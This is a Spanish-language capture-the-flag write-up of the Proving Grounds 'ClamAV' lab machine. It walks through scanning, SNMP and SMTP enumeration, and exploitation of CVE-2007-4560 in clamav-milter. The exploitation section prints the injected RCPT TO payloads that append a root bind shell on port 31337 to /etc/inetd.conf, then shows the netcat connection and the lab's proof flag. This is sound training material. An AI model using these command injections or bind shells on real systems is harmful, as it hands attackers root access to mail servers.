ClamAV
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.ClamAVes una cajaLinuxantigua deProving Grounds. El barrido deja a la vista unSendmail 8.13.4(puerto 25) y unSNMPabierto (161/udp). Consultando elSNMPcon la comunidad por defectopublic(enumeración SNMP) aparece el proceso clave:clamav-miltercorriendo en--black-hole-modeintegrado conSendmail. Esa combinación es vulnerable a CVE-2007-4560: unRCPT TOcon la formanobody+"|comando"hace que el milter, que se ejecuta comoroot, ejecute el comando. Inyectamos una línea en/etc/inetd.confque abre una bind shell en el 31337 y reiniciamosinetd. Conectar a ese puerto da shell directa comoroot.
Reconocimiento
Escaneo inicial
ping -c 1 192.168.175.4264 bytes from 192.168.175.42: icmp_seq=1 ttl=61 time=29.6 msTTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP de los puertos más comunes devuelve dos servicios interesantes:
nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 192.168.175.42PORT STATE SERVICE
137/udp open netbios-ns
161/udp open snmpUn SNMP (161/udp) suele ser una mina de información si responde a la comunidad por defecto. Antes de tocarlo, completamos el TCP:
nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.42PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
199/tcp open smux
445/tcp open netbios-ssn
60000/tcp open sshnmap -p22,25,80,139,199,445,60000 -sCV 192.168.175.42PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
25/tcp open smtp Sendmail 8.13.4/8.13.4/Debian-3sarge3
80/tcp open http Apache httpd 1.3.33 ((Debian GNU/Linux))
|_http-title: Ph33r
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
199/tcp open smux Linux SNMP multiplexer
445/tcp open netbios-ssn Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP)
60000/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)Todo el stack es de la época de Debian Sarge (2005): OpenSSH 3.8, Sendmail 8.13.4, Apache 1.3.33. Software así de viejo suele tener un exploit público por servicio. El Sendmail del 25 y el SNMP del 161 son los dos hilos con más recorrido.
SNMP - UDP 161
snmp-check con la comunidad por defecto public vuelca la configuración y, sobre todo, los procesos en ejecución. Ahí está la pieza que da sentido a la caja:
snmp-check 192.168.175.42[+] Try to connect to 192.168.175.42:161 using SNMPv1 and community 'public'
Host IP address : 192.168.175.42
Hostname : 0xbabe.local
Description : Linux 0xbabe.local 2.6.8-4-386 ... i686
[*] TCP connections and listening ports:
3776 runnable clamd /usr/local/sbin/clamd
3778 runnable clamav-milter /usr/local/sbin/clamav-milter --black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl
3791 runnable nmbd /usr/sbin/nmbd -DEl detalle decisivo es clamav-milter --black-hole-mode. Un milter (mail filter) es un programa que Sendmail invoca para cada correo; clamav-milter lo usa para pasar los mensajes por el antivirus. El modo --black-hole-mode cambia su comportamiento: en lugar de limitarse a analizar, el milter participa en la entrega y construye internamente una línea de comando con la dirección del destinatario. Esa construcción es exactamente lo que CVE-2007-4560 explota.
SMTP - TCP 25
Antes de saltar al exploit, confirmamos que el Sendmail está vivo y permite enumerar usuarios con VRFY (enumeración de usuarios SMTP), lo que ratifica que el servicio responde a nuestra interacción cruda:
telnet 192.168.175.42 25220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; ...
VRFY root
250 2.1.5 <root@localhost.localdomain>
VRFY rot
550 5.1.1 rot... User unknownVRFY root responde 250 (existe) y VRFY rot responde 550 (no existe): el servidor distingue usuarios válidos. No es el vector en sí, pero confirma que el Sendmail procesa nuestras órdenes, que es lo que necesita el exploit del milter.
SSH - TCP 22 (un callejón razonado)
El OpenSSH 3.8.1 es anterior a la 7.7, así que es vulnerable a la enumeración de usuarios de CVE-2018-15473. Adaptando el script público para recorrer una lista de nombres confirmamos varias cuentas del sistema:

[+] User: mail exists
[+] User: root exists
[+] User: news exists
[+] User: backup exists
[+] User: daemon exists
...Es útil para inventariar cuentas, pero sin contraseñas ni claves no abre nada por sí solo (un spray contra este SSH no progresa). Lo dejamos como confirmación de usuarios y volvemos al hilo del milter, que sí lleva a ejecución de código.
Explotación
CVE-2007-4560: inyección de comando vía el milter
searchsploit enlaza el clamav-milter con Sendmail directamente:
searchsploit clamav
searchsploit -m multiple/remote/4761.plSendmail with clamav-milter < 0.91.2 - Remote Command Execution | multiple/remote/4761.pl
Codes: CVE-2007-4560El exploit 4761.pl abre una conversación SMTP y coloca el comando dentro del destinatario con la forma nobody+"|comando". En --black-hole-mode, el milter (que corre como root) interpola esa cadena en una línea de shell y la ejecuta. La carga que usa el exploit añade una línea a /etc/inetd.conf que levanta una shell como root en el puerto 31337 y luego reinicia inetd:
perl 4761.pl 192.168.175.42
nmap -p31337 192.168.175.42
En la traza SMTP se ven las dos inyecciones aceptadas con 250 ... Recipient ok y, tras ejecutar, el escaneo confirma el puerto nuevo:
250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf"> ... Recipient ok
250 2.1.5 <nobody+"|/etc/init.d/inetd restart"> ... Recipient ok
PORT STATE SERVICE
31337/tcp open Eliteinetd arranca el servicio definido en esa línea: cada conexión al 31337 lanza /bin/sh -i como root. No hace falta más explotación.
Shell como root
Bind shell en el 31337
Conectamos con nc al puerto que abrió el milter y comprobamos la identidad:
nc 192.168.175.42 31337
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)Es root directo, sin escalada intermedia: el milter ya ejecutaba como root y la bind shell hereda ese contexto. Leemos la prueba:

cat /root/proof.txt
6dbace6004833888c9de3256e6bc534c
hostname
0xbabe.localCadena de ataque
SNMP 161/udp (community public)
└── proceso clamav-milter --black-hole-mode (integrado con Sendmail)
└── SMTP 25: RCPT TO nobody+"|comando" ── CVE-2007-4560 (milter ejecuta como root)
└── echo bind shell >> /etc/inetd.conf ; inetd restart
└── nc 31337 ── shell directa como root (proof.txt)Lecciones aprendidas
- El
SNMPcon comunidadpubliclo cuenta casi todo. No solo el sistema: la tabla de procesos reveló elclamav-milter --black-hole-mode, que era el vector. Sin esa pista, elSendmailparecía un servicio más. - Un milter corre con privilegios altos.
clamav-milterse ejecutaba comoroot; cualquier inyección en lo que procesa hereda ese contexto. El modo--black-hole-modeconvirtió el campo de destinatario en una línea de comando. - El software de la época de
Sargesuele tener un exploit por servicio. VerSendmail 8.13,OpenSSH 3.8yApache 1.3juntos es señal de que el camino corto essearchsploit, no fuzzing. - No todo hilo lleva al objetivo. La enumeración de usuarios por
SSHy porSMTPconfirmó cuentas, pero el acceso vino del milter. Enumerar está bien siempre que no se confunda con avanzar.